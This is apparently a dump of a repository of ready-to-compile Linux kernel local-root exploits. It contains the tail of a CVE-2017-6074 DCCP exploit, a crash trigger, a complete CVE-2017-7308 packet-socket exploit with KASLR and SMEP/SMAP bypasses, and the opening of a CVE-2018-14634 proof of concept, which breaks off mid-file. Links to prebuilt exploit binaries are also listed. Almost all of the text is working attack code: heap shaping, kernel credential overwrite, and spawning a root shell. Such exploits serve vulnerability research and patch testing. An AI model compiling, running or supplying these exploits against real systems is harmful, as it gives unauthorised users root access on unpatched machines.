dccp_handle dh; 511 | struct udp_fifo_handle uh1, uh2, uh3; 512 | char dummy[2048]; 513 | char buffer[2048]; 514 | 515 | printf("[.] executing %p\n", func); 516 | 517 | memset(&dummy[0], 0, 2048); 518 | init_skb_buffer(&buffer[0], func); 519 | 520 | udp_fifo_init(&uh1); 521 | udp_fifo_init(&uh2); 522 | udp_fifo_init(&uh3); 523 | 524 | debug("kmalloc pad"); 525 | kmalloc_pad(); 526 | 527 | debug("kmalloc warm"); 528 | kmalloc_warm(); 529 | 530 | debug("dccp init"); 531 | dccp_init(&dh, port++); 532 | 533 | debug("dccp kmalloc kfree"); 534 | dccp_kmalloc_kfree(&dh); 535 | 536 | debug("catch 1"); 537 | for (i = 0; i < CATCH_FIRST; i++) 538 | udp_fifo_kmalloc(&uh1, &dummy[0]); 539 | 540 | debug("dccp kfree again:"); 541 | dccp_kfree_again(&dh); 542 | 543 | debug("catch 2"); 544 | for (i = 0; i < CATCH_FIRST; i++) 545 | udp_fifo_kmalloc(&uh2, &dummy[0]); 546 | 547 | debug("catch 1 -> overwrite"); 548 | for (i = 0; i < CATCH_FIRST; i++) { 549 | udp_fifo_kfree(&uh1); 550 | sendmmsg_kmalloc_kfree(port++, &buffer[0]); 551 | } 552 | debug("catch 2 -> free & trigger"); 553 | for (i = 0; i < CATCH_FIRST; i++) 554 | udp_fifo_kfree(&uh2); 555 | 556 | debug("catch 1 & 2"); 557 | for (i = 0; i < CATCH_AGAIN; i++) 558 | udp_fifo_kmalloc(&uh3, &dummy[0]); 559 | 560 | printf("[.] done\n"); 561 | } 562 | 563 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 564 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 565 | 566 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 567 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 568 | 569 | void get_root_payload(void) { 570 | commit_creds(prepare_kernel_cred(0)); 571 | } 572 | 573 | void get_root() { 574 | printf("[.] getting root\n"); 575 | kernel_exec(&get_root_payload); 576 | printf("[.] should be root now\n"); 577 | } 578 | 579 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 580 | 581 | void exec_shell() { 582 | char *shell = "/bin/bash"; 583 | char *args[] = {shell, "-i", NULL}; 584 | execve(shell, args, NULL); 585 | } 586 | 587 | void fork_shell() { 588 | pid_t rv; 589 | 590 | rv = fork(); 591 | if (rv == -1) { 592 | perror("fork()"); 593 | exit(EXIT_FAILURE); 594 | } 595 | 596 | if (rv == 0) { 597 | exec_shell(); 598 | } 599 | } 600 | 601 | bool is_root() { 602 | // We can't simple check uid, since we're running inside a namespace 603 | // with uid set to 0. Try opening /etc/shadow instead. 604 | int fd = open("/etc/shadow", O_RDONLY); 605 | if (fd == -1) 606 | return false; 607 | close(fd); 608 | return true; 609 | } 610 | 611 | void check_root() { 612 | printf("[.] checking if we got root\n"); 613 | 614 | if (!is_root()) { 615 | printf("[-] something went wrong =(\n"); 616 | printf("[!] don't kill the exploit binary, the kernel will crash\n"); 617 | return; 618 | } 619 | 620 | printf("[+] got r00t ^_^\n"); 621 | printf("[!] don't kill the exploit binary, the kernel will crash\n"); 622 | 623 | // Fork and exec instead of just doing the exec to avoid freeing 624 | // skbuffs and prevent crashes due to a allocator corruption. 625 | fork_shell(); 626 | } 627 | 628 | static bool write_file(const char* file, const char* what, ...) 629 | { 630 | char buf[1024]; 631 | va_list args; 632 | va_start(args, what); 633 | vsnprintf(buf, sizeof(buf), what, args); 634 | va_end(args); 635 | buf[sizeof(buf) - 1] = 0; 636 | int len = strlen(buf); 637 | 638 | int fd = open(file, O_WRONLY | O_CLOEXEC); 639 | if (fd == -1) 640 | return false; 641 | if (write(fd, buf, len) != len) { 642 | close(fd); 643 | return false; 644 | } 645 | close(fd); 646 | return true; 647 | } 648 | 649 | void setup_sandbox() { 650 | int real_uid = getuid(); 651 | int real_gid = getgid(); 652 | 653 | if (unshare(CLONE_NEWUSER) != 0) { 654 | perror("unshare(CLONE_NEWUSER)"); 655 | exit(EXIT_FAILURE); 656 | } 657 | 658 | if (unshare(CLONE_NEWNET) != 0) { 659 | perror("unshare(CLONE_NEWUSER)"); 660 | exit(EXIT_FAILURE); 661 | } 662 | 663 | if (!write_file("/proc/self/setgroups", "deny")) { 664 | perror("write_file(/proc/self/set_groups)"); 665 | exit(EXIT_FAILURE); 666 | } 667 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 668 | perror("write_file(/proc/self/uid_map)"); 669 | exit(EXIT_FAILURE); 670 | } 671 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 672 | perror("write_file(/proc/self/gid_map)"); 673 | exit(EXIT_FAILURE); 674 | } 675 | 676 | cpu_set_t my_set; 677 | CPU_ZERO(&my_set); 678 | CPU_SET(0, &my_set); 679 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 680 | perror("sched_setaffinity()"); 681 | exit(EXIT_FAILURE); 682 | } 683 | 684 | if (system("/sbin/ifconfig lo up") != 0) { 685 | perror("system(/sbin/ifconfig lo up)"); 686 | exit(EXIT_FAILURE); 687 | } 688 | 689 | printf("[.] namespace sandbox setup successfully\n"); 690 | } 691 | 692 | int main() { 693 | setup_sandbox(); 694 | 695 | #if SMEP_SMAP_BYPASS 696 | disable_smep_smap(); 697 | #endif 698 | 699 | get_root(); 700 | 701 | check_root(); 702 | 703 | while (true) { 704 | sleep(100); 705 | } 706 | 707 | return 0; 708 | } 709 | -------------------------------------------------------------------------------- /2017/CVE-2017-6074/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-6074/pwn -------------------------------------------------------------------------------- /2017/CVE-2017-6074/trigger: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-6074/trigger -------------------------------------------------------------------------------- /2017/CVE-2017-6074/trigger.c: -------------------------------------------------------------------------------- 1 | // A trigger for CVE-2017-6074, crashes kernel. 2 | // Tested on 4.4.0-62-generic #83-Ubuntu kernel. 3 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 4 | // 5 | // Andrey Konovalov 6 | 7 | #define _GNU_SOURCE 8 | 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #include 28 | 29 | int main() { 30 | struct sockaddr_in6 sa1; 31 | sa1.sin6_family = AF_INET6; 32 | sa1.sin6_port = htons(20002); 33 | inet_pton(AF_INET6, "::1", &sa1.sin6_addr); 34 | sa1.sin6_flowinfo = 0; 35 | sa1.sin6_scope_id = 0; 36 | 37 | int optval = 8; 38 | 39 | int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 40 | bind(s1, &sa1, 0x20); 41 | listen(s1, 0x9); 42 | 43 | setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4); 44 | 45 | int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 46 | connect(s2, &sa1, 0x20); 47 | 48 | shutdown(s1, SHUT_RDWR); 49 | close(s1); 50 | shutdown(s2, SHUT_RDWR); 51 | close(s2); 52 | 53 | return 0; 54 | } 55 | -------------------------------------------------------------------------------- /2017/CVE-2017-7308/poc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-7308/poc -------------------------------------------------------------------------------- /2017/CVE-2017-7308/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-7308. 2 | // Includes a SMEP & SMAP bypass. 3 | // Tested on 4.8.0-41-generic Ubuntu kernel. 4 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 5 | // 6 | // Usage: 7 | // user@ubuntu:~$ uname -a 8 | // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... 9 | // user@ubuntu:~$ gcc pwn.c -o pwn 10 | // user@ubuntu:~$ ./pwn 11 | // [.] starting 12 | // [.] namespace sandbox set up 13 | // [.] KASLR bypass enabled, getting kernel addr 14 | // [.] done, kernel text: ffffffff87000000 15 | // [.] commit_creds: ffffffff870a5cf0 16 | // [.] prepare_kernel_cred: ffffffff870a60e0 17 | // [.] native_write_cr4: ffffffff87064210 18 | // [.] padding heap 19 | // [.] done, heap is padded 20 | // [.] SMEP & SMAP bypass enabled, turning them off 21 | // [.] done, SMEP & SMAP should be off now 22 | // [.] executing get root payload 0x401516 23 | // [.] done, should be root now 24 | // [.] checking if we got root 25 | // [+] got r00t ^_^ 26 | // root@ubuntu:/home/user# cat /etc/shadow 27 | // root:!:17246:0:99999:7::: 28 | // daemon:*:17212:0:99999:7::: 29 | // bin:*:17212:0:99999:7::: 30 | // ... 31 | // 32 | // Andrey Konovalov 33 | 34 | #define _GNU_SOURCE 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | 63 | #define ENABLE_KASLR_BYPASS 1 64 | #define ENABLE_SMEP_SMAP_BYPASS 1 65 | 66 | // Will be overwritten if ENABLE_KASLR_BYPASS 67 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 68 | 69 | // Kernel symbol offsets 70 | #define COMMIT_CREDS 0xa5cf0ul 71 | #define PREPARE_KERNEL_CRED 0xa60e0ul 72 | #define NATIVE_WRITE_CR4 0x64210ul 73 | 74 | // Should have SMEP and SMAP bits disabled 75 | #define CR4_DESIRED_VALUE 0x407f0ul 76 | 77 | #define KMALLOC_PAD 512 78 | #define PAGEALLOC_PAD 1024 79 | 80 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 81 | 82 | typedef uint32_t u32; 83 | 84 | // $ pahole -C hlist_node ./vmlinux 85 | struct hlist_node { 86 | struct hlist_node * next; /* 0 8 */ 87 | struct hlist_node * * pprev; /* 8 8 */ 88 | }; 89 | 90 | // $ pahole -C timer_list ./vmlinux 91 | struct timer_list { 92 | struct hlist_node entry; /* 0 16 */ 93 | long unsigned int expires; /* 16 8 */ 94 | void (*function)(long unsigned int); /* 24 8 */ 95 | long unsigned int data; /* 32 8 */ 96 | u32 flags; /* 40 4 */ 97 | int start_pid; /* 44 4 */ 98 | void * start_site; /* 48 8 */ 99 | char start_comm[16]; /* 56 16 */ 100 | }; 101 | 102 | // packet_sock->rx_ring->prb_bdqc->retire_blk_timer 103 | #define TIMER_OFFSET 896 104 | 105 | // pakcet_sock->xmit 106 | #define XMIT_OFFSET 1304 107 | 108 | // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * 109 | 110 | void packet_socket_rx_ring_init(int s, unsigned int block_size, 111 | unsigned int frame_size, unsigned int block_nr, 112 | unsigned int sizeof_priv, unsigned int timeout) { 113 | int v = TPACKET_V3; 114 | int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); 115 | if (rv < 0) { 116 | perror("[-] setsockopt(PACKET_VERSION)"); 117 | exit(EXIT_FAILURE); 118 | } 119 | 120 | struct tpacket_req3 req; 121 | memset(&req, 0, sizeof(req)); 122 | req.tp_block_size = block_size; 123 | req.tp_frame_size = frame_size; 124 | req.tp_block_nr = block_nr; 125 | req.tp_frame_nr = (block_size * block_nr) / frame_size; 126 | req.tp_retire_blk_tov = timeout; 127 | req.tp_sizeof_priv = sizeof_priv; 128 | req.tp_feature_req_word = 0; 129 | 130 | rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); 131 | if (rv < 0) { 132 | perror("[-] setsockopt(PACKET_RX_RING)"); 133 | exit(EXIT_FAILURE); 134 | } 135 | } 136 | 137 | int packet_socket_setup(unsigned int block_size, unsigned int frame_size, 138 | unsigned int block_nr, unsigned int sizeof_priv, int timeout) { 139 | int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 140 | if (s < 0) { 141 | perror("[-] socket(AF_PACKET)"); 142 | exit(EXIT_FAILURE); 143 | } 144 | 145 | packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, 146 | sizeof_priv, timeout); 147 | 148 | struct sockaddr_ll sa; 149 | memset(&sa, 0, sizeof(sa)); 150 | sa.sll_family = PF_PACKET; 151 | sa.sll_protocol = htons(ETH_P_ALL); 152 | sa.sll_ifindex = if_nametoindex("lo"); 153 | sa.sll_hatype = 0; 154 | sa.sll_pkttype = 0; 155 | sa.sll_halen = 0; 156 | 157 | int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 158 | if (rv < 0) { 159 | perror("[-] bind(AF_PACKET)"); 160 | exit(EXIT_FAILURE); 161 | } 162 | 163 | return s; 164 | } 165 | 166 | void packet_socket_send(int s, char *buffer, int size) { 167 | struct sockaddr_ll sa; 168 | memset(&sa, 0, sizeof(sa)); 169 | sa.sll_ifindex = if_nametoindex("lo"); 170 | sa.sll_halen = ETH_ALEN; 171 | 172 | if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, 173 | sizeof(sa)) < 0) { 174 | perror("[-] sendto(SOCK_RAW)"); 175 | exit(EXIT_FAILURE); 176 | } 177 | } 178 | 179 | void loopback_send(char *buffer, int size) { 180 | int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); 181 | if (s == -1) { 182 | perror("[-] socket(SOCK_RAW)"); 183 | exit(EXIT_FAILURE); 184 | } 185 | 186 | packet_socket_send(s, buffer, size); 187 | } 188 | 189 | int packet_sock_kmalloc() { 190 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 191 | if (s == -1) { 192 | perror("[-] socket(SOCK_DGRAM)"); 193 | exit(EXIT_FAILURE); 194 | } 195 | return s; 196 | } 197 | 198 | void packet_sock_timer_schedule(int s, int timeout) { 199 | packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); 200 | } 201 | 202 | void packet_sock_id_match_trigger(int s) { 203 | char buffer[16]; 204 | packet_socket_send(s, &buffer[0], sizeof(buffer)); 205 | } 206 | 207 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 208 | 209 | #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) 210 | #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) 211 | #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) 212 | 213 | #define V3_ALIGNMENT (8) 214 | #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 215 | 216 | #define ETH_HDR_LEN sizeof(struct ethhdr) 217 | #define IP_HDR_LEN sizeof(struct iphdr) 218 | #define UDP_HDR_LEN sizeof(struct udphdr) 219 | 220 | #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) 221 | 222 | int oob_setup(int offset) { 223 | unsigned int maclen = ETH_HDR_LEN; 224 | unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + 225 | (maclen < 16 ? 16 : maclen)); 226 | unsigned int macoff = netoff - maclen; 227 | unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 228 | 0x8000 - BLK_HDR_LEN - macoff + offset; 229 | return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); 230 | } 231 | 232 | void oob_write(char *buffer, int size) { 233 | loopback_send(buffer, size); 234 | } 235 | 236 | void oob_timer_execute(void *func, unsigned long arg) { 237 | oob_setup(2048 + TIMER_OFFSET - 8); 238 | 239 | int i; 240 | for (i = 0; i < 32; i++) { 241 | int timer = packet_sock_kmalloc(); 242 | packet_sock_timer_schedule(timer, 1000); 243 | } 244 | 245 | char buffer[2048]; 246 | memset(&buffer[0], 0, sizeof(buffer)); 247 | 248 | struct timer_list *timer = (struct timer_list *)&buffer[8]; 249 | timer->function = func; 250 | timer->data = arg; 251 | timer->flags = 1; 252 | 253 | oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); 254 | 255 | sleep(1); 256 | } 257 | 258 | void oob_id_match_execute(void *func) { 259 | int s = oob_setup(2048 + XMIT_OFFSET - 64); 260 | 261 | int ps[32]; 262 | 263 | int i; 264 | for (i = 0; i < 32; i++) 265 | ps[i] = packet_sock_kmalloc(); 266 | 267 | char buffer[2048]; 268 | memset(&buffer[0], 0, 2048); 269 | 270 | void **xmit = (void **)&buffer[64]; 271 | *xmit = func; 272 | 273 | oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); 274 | 275 | for (i = 0; i < 32; i++) 276 | packet_sock_id_match_trigger(ps[i]); 277 | } 278 | 279 | // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * 280 | 281 | void kmalloc_pad(int count) { 282 | int i; 283 | for (i = 0; i < count; i++) 284 | packet_sock_kmalloc(); 285 | } 286 | 287 | void pagealloc_pad(int count) { 288 | packet_socket_setup(0x8000, 2048, count, 0, 100); 289 | } 290 | 291 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 292 | 293 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 294 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 295 | 296 | void get_root_payload(void) { 297 | ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( 298 | ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0) 299 | ); 300 | } 301 | 302 | // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * * 303 | 304 | #define SYSLOG_ACTION_READ_ALL 3 305 | #define SYSLOG_ACTION_SIZE_BUFFER 10 306 | 307 | unsigned long get_kernel_addr() { 308 | int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 309 | if (size == -1) { 310 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 311 | exit(EXIT_FAILURE); 312 | } 313 | 314 | size = (size / getpagesize() + 1) * getpagesize(); 315 | char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, 316 | MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 317 | 318 | size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); 319 | if (size == -1) { 320 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | const char *needle1 = "Freeing SMP"; 325 | char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); 326 | if (substr == NULL) { 327 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1); 328 | exit(EXIT_FAILURE); 329 | } 330 | 331 | for (size = 0; substr[size] != '\n'; size++); 332 | 333 | const char *needle2 = "ffff"; 334 | substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); 335 | if (substr == NULL) { 336 | fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2); 337 | exit(EXIT_FAILURE); 338 | } 339 | 340 | char *endptr = &substr[16]; 341 | unsigned long r = strtoul(&substr[0], &endptr, 16); 342 | 343 | r &= 0xfffffffffff00000ul; 344 | r -= 0x1000000ul; 345 | 346 | return r; 347 | } 348 | 349 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 350 | 351 | void exec_shell() { 352 | char *shell = "/bin/bash"; 353 | char *args[] = {shell, "-i", NULL}; 354 | execve(shell, args, NULL); 355 | } 356 | 357 | void fork_shell() { 358 | pid_t rv; 359 | 360 | rv = fork(); 361 | if (rv == -1) { 362 | perror("[-] fork()"); 363 | exit(EXIT_FAILURE); 364 | } 365 | 366 | if (rv == 0) { 367 | exec_shell(); 368 | } 369 | } 370 | 371 | bool is_root() { 372 | // We can't simple check uid, since we're running inside a namespace 373 | // with uid set to 0. Try opening /etc/shadow instead. 374 | int fd = open("/etc/shadow", O_RDONLY); 375 | if (fd == -1) 376 | return false; 377 | close(fd); 378 | return true; 379 | } 380 | 381 | void check_root() { 382 | printf("[.] checking if we got root\n"); 383 | 384 | if (!is_root()) { 385 | printf("[-] something went wrong =(\n"); 386 | return; 387 | } 388 | 389 | printf("[+] got r00t ^_^\n"); 390 | 391 | // Fork and exec instead of just doing the exec to avoid potential 392 | // memory corruptions when closing packet sockets. 393 | fork_shell(); 394 | } 395 | 396 | bool write_file(const char* file, const char* what, ...) { 397 | char buf[1024]; 398 | va_list args; 399 | va_start(args, what); 400 | vsnprintf(buf, sizeof(buf), what, args); 401 | va_end(args); 402 | buf[sizeof(buf) - 1] = 0; 403 | int len = strlen(buf); 404 | 405 | int fd = open(file, O_WRONLY | O_CLOEXEC); 406 | if (fd == -1) 407 | return false; 408 | if (write(fd, buf, len) != len) { 409 | close(fd); 410 | return false; 411 | } 412 | close(fd); 413 | return true; 414 | } 415 | 416 | void setup_sandbox() { 417 | int real_uid = getuid(); 418 | int real_gid = getgid(); 419 | 420 | if (unshare(CLONE_NEWUSER) != 0) { 421 | perror("[-] unshare(CLONE_NEWUSER)"); 422 | exit(EXIT_FAILURE); 423 | } 424 | 425 | if (unshare(CLONE_NEWNET) != 0) { 426 | perror("[-] unshare(CLONE_NEWUSER)"); 427 | exit(EXIT_FAILURE); 428 | } 429 | 430 | if (!write_file("/proc/self/setgroups", "deny")) { 431 | perror("[-] write_file(/proc/self/set_groups)"); 432 | exit(EXIT_FAILURE); 433 | } 434 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 435 | perror("[-] write_file(/proc/self/uid_map)"); 436 | exit(EXIT_FAILURE); 437 | } 438 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 439 | perror("[-] write_file(/proc/self/gid_map)"); 440 | exit(EXIT_FAILURE); 441 | } 442 | 443 | cpu_set_t my_set; 444 | CPU_ZERO(&my_set); 445 | CPU_SET(0, &my_set); 446 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 447 | perror("[-] sched_setaffinity()"); 448 | exit(EXIT_FAILURE); 449 | } 450 | 451 | if (system("/sbin/ifconfig lo up") != 0) { 452 | perror("[-] system(/sbin/ifconfig lo up)"); 453 | exit(EXIT_FAILURE); 454 | } 455 | } 456 | 457 | int main() { 458 | printf("[.] starting\n"); 459 | 460 | setup_sandbox(); 461 | 462 | printf("[.] namespace sandbox set up\n"); 463 | 464 | #if ENABLE_KASLR_BYPASS 465 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 466 | KERNEL_BASE = get_kernel_addr(); 467 | printf("[.] done, kernel text: %lx\n", KERNEL_BASE); 468 | #endif 469 | 470 | printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS); 471 | printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED); 472 | 473 | #if ENABLE_SMEP_SMAP_BYPASS 474 | printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4); 475 | #endif 476 | 477 | printf("[.] padding heap\n"); 478 | kmalloc_pad(KMALLOC_PAD); 479 | pagealloc_pad(PAGEALLOC_PAD); 480 | printf("[.] done, heap is padded\n"); 481 | 482 | #if ENABLE_SMEP_SMAP_BYPASS 483 | printf("[.] SMEP & SMAP bypass enabled, turning them off\n"); 484 | oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); 485 | printf("[.] done, SMEP & SMAP should be off now\n"); 486 | #endif 487 | 488 | printf("[.] executing get root payload %p\n", &get_root_payload); 489 | oob_id_match_execute((void *)&get_root_payload); 490 | printf("[.] done, should be root now\n"); 491 | 492 | check_root(); 493 | 494 | while (1) sleep(1000); 495 | 496 | return 0; 497 | } 498 | -------------------------------------------------------------------------------- /2018/CVE-2018-1000001/RationalLove: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2018/CVE-2018-1000001/RationalLove -------------------------------------------------------------------------------- /2018/CVE-2018-14634/poc-exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2018/CVE-2018-14634/poc-exploit -------------------------------------------------------------------------------- /2018/CVE-2018-14634/poc-exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * poc-exploit.c for CVE-2018-14634 3 | * Copyright (C) 2018 Qualys, Inc. 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #define MAPCOUNT_ELF_CORE_MARGIN (5) 33 | #define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN) 34 | 35 | #define PAGESZ ((size_t)4096) 36 | #define MAX_ARG_STRLEN ((size_t)128 << 10) 37 | #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF) 38 | 39 | #define die() do { \ 40 | fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ 41 | exit(EXIT_FAILURE); \ 42 | } while (0) 43 | 44 | int 45 | main(void) 46 | { 47 | if (sizeof(size_t) != sizeof(uint64_t)) die(); 48 | const size_t alpha = 512; 49 | const size_t sprand = 8192; 50 | const size_t beta = (size_t)9 << 10; 51 | const size_t items = (size_t)1 << 31; 52 | const size_t offset = items * sizeof(uintptr_t); 53 | 54 | #define LLP "LD_LIBRARY_PATH=." 55 | static char preload_env[MAX_ARG_STRLEN]; 56 | { 57 | char * const sp = stpcpy(preload_env, "LD_PRELOAD="); 58 | char * cp = preload_env + sizeof(preload_env); 59 | size_t n; 60 | for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) { 61 | size_t i; 62 | for (i = n; i; i--) { 63 | *--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0'; 64 | cp -= sizeof(LLP)-1; 65 | memcpy(cp, LLP, sizeof(LLP)-1); 66 | } 67 | } 68 | memset(sp, ':', (size_t)(cp - sp)); 69 | if (memchr(preload_env, '\0', sizeof(preload_env)) != 70 | preload_env + sizeof(preload_env)-1) die(); 71 | } 72 | const char * const protect_envp[] = { 73 | preload_env, 74 | }; 75 | const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]); 76 | size_t _protect_envsz = 0; 77 | { 78 | size_t i; 79 | for (i = 0; i < protect_envc; i++) { 80 | _protect_envsz += strlen(protect_envp[i]) + 1; 81 | } 82 | } 83 | const size_t protect_envsz = _protect_envsz; 84 | 85 | const size_t scratch_envsz = (size_t)1 << 20; 86 | const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN; 87 | if (scratch_envsz % MAX_ARG_STRLEN) die(); 88 | static char scratch_env[MAX_ARG_STRLEN]; 89 | memset(scratch_env, ' ', sizeof(scratch_env)-1); 90 | 91 | const size_t onebyte_envsz = (size_t)256 << 10; 92 | const size_t onebyte_envc = onebyte_envsz / 1; 93 | 94 | const size_t padding_envsz = offset + alpha; 95 | /***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN; 96 | const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem; 97 | static char padding_env[MAX_ARG_STRLEN]; 98 | memset(padding_env, ' ', sizeof(padding_env)-1); 99 | static char padding_env1[MAX_ARG_STRLEN]; 100 | if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1); 101 | 102 | const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc; 103 | if (envc > MAX_ARG_STRINGS) die(); 104 | 105 | const size_t argc = items - (1 + 1 + envc + 1); 106 | if (argc > MAX_ARG_STRINGS) die(); 107 | 108 | const char * const protect_argv[] = { 109 | "./poc-suidbin", 110 | }; 111 | const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]); 112 | if (protect_argc >= argc) die(); 113 | size_t _protect_argsz = 0; 114 | { 115 | size_t i; 116 | for (i = 0; i < protect_argc; i++) { 117 | _protect_argsz += strlen(protect_argv[i]) + 1; 118 | } 119 | } 120 | const size_t protect_argsz = _protect_argsz; 121 | 122 | const size_t padding_argc = argc - protect_argc; 123 | const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 + 124 | protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2); 125 | const size_t padding_arg_len = padding_argsz / padding_argc; 126 | /***/ size_t padding_arg_rem = padding_argsz % padding_argc; 127 | if (padding_arg_len >= MAX_ARG_STRLEN) die(); 128 | if (padding_arg_len < 1) die(); 129 | static char padding_arg[MAX_ARG_STRLEN]; 130 | memset(padding_arg, ' ', padding_arg_len-1); 131 | static char padding_arg1[MAX_ARG_STRLEN]; 132 | 